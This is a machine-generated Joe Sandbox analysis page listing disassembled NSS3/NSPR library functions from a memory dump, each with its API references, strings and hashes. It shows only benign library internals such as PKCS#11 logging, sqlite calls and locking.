Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nsl
API String ID: 420000887-1665422656
Opcode ID: 91a496f4a92ec5febaf355d0fdee9aa19476f625fc3630425c7f46b50e249076
Instruction ID: ef3975493b4ffdbf71c1bbd93ce44375909282df2419590f5296cb463d7f8ee8
Opcode Fuzzy Hash: 91a496f4a92ec5febaf355d0fdee9aa19476f625fc3630425c7f46b50e249076
Instruction Fuzzy Hash: 9421B376602144AFDB009F54DE8CA897BF5EB4331EFA48134E60897722DB309968CB66

Function 6C652AF0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetMechanismList), ref: 6C652B0C
PR_LogPrint.NSS3( pulCount = 0x%p,?), ref: 6C652B59

Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C730BAB
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730BBA
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730D7E

PR_LogPrint.NSS3( pMechanismList = 0x%p,?), ref: 6C652B3E

Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(?), ref: 6C730B88
Part of subcall function 6C7309D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C730C5D
Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C730C8D
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730C9C
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(?), ref: 6C730CD1
Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C730CEC
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730CFB
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C730D16
Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C730D26
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730D35
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C730D65
Part of subcall function 6C7309D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C730D70
Part of subcall function 6C7309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C730D90
Part of subcall function 6C7309D0: free.MOZGLUE(00000000), ref: 6C730D99

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C652B25

Part of subcall function 6C7309D0: PR_Now.NSS3 ref: 6C730A22
Part of subcall function 6C7309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C730A35
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C730A66
Part of subcall function 6C7309D0: PR_GetCurrentThread.NSS3 ref: 6C730A70
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C730A9D
Part of subcall function 6C7309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C730AC8
Part of subcall function 6C7309D0: PR_vsmprintf.NSS3(?,?), ref: 6C730AE8
Part of subcall function 6C7309D0: EnterCriticalSection.KERNEL32(?), ref: 6C730B19
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C730B48
Part of subcall function 6C7309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C730C76
Part of subcall function 6C7309D0: PR_LogFlush.NSS3 ref: 6C730C7E

PR_LogPrint.NSS3( *pulCount = 0x%x,?), ref: 6C652BC0

Strings

*pulCount = 0x%x, xrefs: 6C652BBB
pulCount = 0x%p, xrefs: 6C652B54
C_GetMechanismList, xrefs: 6C652B07
slotID = 0x%x, xrefs: 6C652B20
pMechanismList = 0x%p, xrefs: 6C652B39
nsl, xrefs: 6C652B71, 6C652B9C

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: DebugOutputPrintStringfflush$fwrite$R_snprintf$CriticalCurrentEnterExplodeFlushR_vsmprintfR_vsnprintfSectionThreadTimefputcfreememcpy
String ID: *pulCount = 0x%x$ pMechanismList = 0x%p$ pulCount = 0x%p$ slotID = 0x%x$C_GetMechanismList$nsl
API String ID: 1342304006-3531419780
Opcode ID: 143634eb0c4cf70c3dd5c18dc742b3a9d65bbff17e64d3490897d886c10226f1
Instruction ID: 042926aa19cc7eb6d0f598f1609292d7ed472e2b1a001831542633c944cbcef4
Opcode Fuzzy Hash: 143634eb0c4cf70c3dd5c18dc742b3a9d65bbff17e64d3490897d886c10226f1
Instruction Fuzzy Hash: 1B21D331E02141AFDB008F54DD8DE897BB1EB4335EF748034EA0893712DB30A968CB6A

Function 6C624880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6248A2
PORT_NewArena_Util.NSS3(00000800), ref: 6C6248C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6C6248D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6C6248FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6C624908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C624947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C62496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C624988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C748DAC,?), ref: 6C6249DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6249FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C624ACB

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: 260ec6fe6ad0b72a79f22df9dfb65eb588354724d8b0206ec436d6c4ed5d3e04
Instruction ID: 82501d1646da2cc3618417f909f316e0fcac3d87f788741e72d271d2f2610841
Opcode Fuzzy Hash: 260ec6fe6ad0b72a79f22df9dfb65eb588354724d8b0206ec436d6c4ed5d3e04
Instruction Fuzzy Hash: B751E371A043019BEB108F65DC41BAB77E4AF4130CF108529E929ABB85E7FAD454CF6E

Function 6C6F2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6F2D9F

Part of subcall function 6C5ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C60F9C9,?,6C60F4DA,6C60F9C9,?,?,6C5D369A), ref: 6C5ACA7A
Part of subcall function 6C5ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5ACB26

sqlite3_exec.NSS3(?,?,6C6F2F70,?,?), ref: 6C6F2DF9
sqlite3_free.NSS3(00000000), ref: 6C6F2E2C
sqlite3_free.NSS3(?), ref: 6C6F2E3A
sqlite3_free.NSS3(?), ref: 6C6F2E52
sqlite3_mprintf.NSS3(6C75AAF9,?), ref: 6C6F2E62
sqlite3_free.NSS3(?), ref: 6C6F2E70
sqlite3_free.NSS3(?), ref: 6C6F2E89
sqlite3_free.NSS3(?), ref: 6C6F2EBB
sqlite3_free.NSS3(?), ref: 6C6F2ECB
sqlite3_free.NSS3(00000000), ref: 6C6F2F3E
sqlite3_free.NSS3(?), ref: 6C6F2F4C

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 64b4fd2ca4884761c7c8d29ffe1bb10cc5d5a31568d85ff1dbbb55f8a6fa266d
Instruction ID: dd8aa93a559742e0bad8e41d9b538c142572bb71cbf872de035dae2778d1a84d
Opcode Fuzzy Hash: 64b4fd2ca4884761c7c8d29ffe1bb10cc5d5a31568d85ff1dbbb55f8a6fa266d
Instruction Fuzzy Hash: B0616FB5E012559BEB00CFA5D885BDE77A2BF89348F244028DC25A7701E735E846CFA5

Function 6C637C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C782120,Function_00097E60,00000000,?,?,?,?,6C6B067D,6C6B1C60,00000000), ref: 6C637C81

Part of subcall function 6C5A4C70: TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
Part of subcall function 6C5A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
Part of subcall function 6C5A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9

TlsGetValue.KERNEL32 ref: 6C637CA0
EnterCriticalSection.KERNEL32(?), ref: 6C637CB4
PR_Unlock.NSS3 ref: 6C637CCF

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

TlsGetValue.KERNEL32 ref: 6C637D04
EnterCriticalSection.KERNEL32(?), ref: 6C637D1B
realloc.MOZGLUE(-00000050), ref: 6C637D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C637DF4
PR_Unlock.NSS3 ref: 6C637E0E

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 2baaa4e8f3ca8e5e171de2eda8f0982ba69af44e6ca6d2c278de6f21428e77bf
Instruction ID: fe126fa673593509d7866c7f9f4d98993d98c81c0f5c5301ab68874d4d09b8a4
Opcode Fuzzy Hash: 2baaa4e8f3ca8e5e171de2eda8f0982ba69af44e6ca6d2c278de6f21428e77bf
Instruction Fuzzy Hash: 5E511371E09120EFDB029F28CD48A6677F1EB4335AF356139EE0887761EB309851CB99

Function 6C5A4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D97
PR_Lock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4DBA
PR_WaitCondVar.NSS3 ref: 6C5A4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4DEF

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 3263418105e5c63fdefeaf1dc57f5792e31eb4c189612c439572dadff114fa7c
Instruction ID: e12728a62c04568e3afb4d876d48513f7883300160da5feb0532c84294526642
Opcode Fuzzy Hash: 3263418105e5c63fdefeaf1dc57f5792e31eb4c189612c439572dadff114fa7c
Instruction Fuzzy Hash: 1441AFB1A05614CFCB00EFB9D88815DBBF4BF0A318F154679D8989B714EB30D895CB95

Function 6C648F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C64905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6490EC

Part of subcall function 6C610F00: PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B
Part of subcall function 6C610F00: PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649111

Strings

nsl, xrefs: 6C6490A3

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nsl
API String ID: 2831689957-3778653006
Opcode ID: 4820f03977484360c031a8824f61fae53afe14a85c535c204679f20ea1584448
Instruction ID: 3a584d024c084f559e581ed064987654133bf8572fa66e211c821207f89d87ed
Opcode Fuzzy Hash: 4820f03977484360c031a8824f61fae53afe14a85c535c204679f20ea1584448
Instruction Fuzzy Hash: A7517A70A45215CFCB00EF38C588299BBF9BF0A319F1585B9DD449BB15EB30E884CB99

Function 6C62E910 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 149memorystringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,http://,00000007), ref: 6C62E93B
PR_SetError.NSS3(FFFFE075,00000000), ref: 6C62E94E
PORT_Alloc_Util.NSS3(00000001), ref: 6C62E995
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C62E9A7
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 6C62E9CA
PORT_Strdup_Util.NSS3(6C76933E), ref: 6C62EA17
PORT_Alloc_Util.NSS3(00000001), ref: 6C62EA28

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C62EA3C
free.MOZGLUE(?), ref: 6C62EA69

Strings

http://, xrefs: 6C62E935

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Alloc_memcpy$ErrorL_strncasecmpStrdup_Valuefreemallocstrtol
String ID: http://
API String ID: 3982757857-1121587658
Opcode ID: dafe3612be44078066d2de5f733c379f4b1c1b6494ceed51bfe4474181d142e9
Instruction ID: 26b6fe7faa105f3d83e6a10fa9b6558662c649e418ceeb2a759acd7fe9ec8680
Opcode Fuzzy Hash: dafe3612be44078066d2de5f733c379f4b1c1b6494ceed51bfe4474181d142e9
Instruction Fuzzy Hash: B641AE74D4560A4BEF608A7C8C407EA77A5AB1734EF140033DC9497F41E21E8546DEEE

Function 6C737CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C737CE0

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C737D36
PR_Realloc.NSS3(?,00000080), ref: 6C737D6D
PR_GetCurrentThread.NSS3 ref: 6C737D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C737DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C737DD8
malloc.MOZGLUE(00000080), ref: 6C737DF8
PR_GetCurrentThread.NSS3 ref: 6C737E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C737DF0
:%s:%d:0x%lx, xrefs: 6C737DB9

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: bca7294b580bd5014bcfab2e2ed5b80b4094805a29f07232ed026f8445385eba
Instruction ID: 2dde5ac9c84ecf093485d78834f0be6a854b25e6810cfcd5e25e3fb84c3adf0a
Opcode Fuzzy Hash: bca7294b580bd5014bcfab2e2ed5b80b4094805a29f07232ed026f8445385eba
Instruction Fuzzy Hash: 6041C5B1910215DFDB04CF28CE8596B37AAFF85318B25456CE81D8BB52D731E901CBA5

Function 6C644E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C644E90
EnterCriticalSection.KERNEL32 ref: 6C644EA9
TlsGetValue.KERNEL32 ref: 6C644EC6
EnterCriticalSection.KERNEL32 ref: 6C644EDF
PL_HashTableLookup.NSS3 ref: 6C644EF8
PR_Unlock.NSS3 ref: 6C644F05
PR_Now.NSS3 ref: 6C644F13
PR_Unlock.NSS3 ref: 6C644F3A

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Strings

bUdl, xrefs: 6C644E5C
bUdl, xrefs: 6C644F3F

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUdl$bUdl
API String ID: 326028414-51985982
Opcode ID: 3b2e0163d132c9ad585bbdadcbd02511e91ef25f937cf129f9a24361c6df5e89
Instruction ID: 1e59fc0e025d9cfbc3821a501d260f133616228a8d2da347326ddb78014a56b5
Opcode Fuzzy Hash: 3b2e0163d132c9ad585bbdadcbd02511e91ef25f937cf129f9a24361c6df5e89
Instruction Fuzzy Hash: 03416BB4A04609DFCB00EF78C0848AABBF0FF89344B11C569EC999B714EB30E855CB95

Function 6C656C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C656C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C656C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C656CA3

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C656CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C656CD5

Strings

pMechanism = 0x%p, xrefs: 6C656CD0
C_DigestInit, xrefs: 6C656C61
(CK_INVALID_HANDLE), xrefs: 6C656C9C
nsl, xrefs: 6C656CF4, 6C656D1F
hSession = 0x%x, xrefs: 6C656C7E, 6C656C8E

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
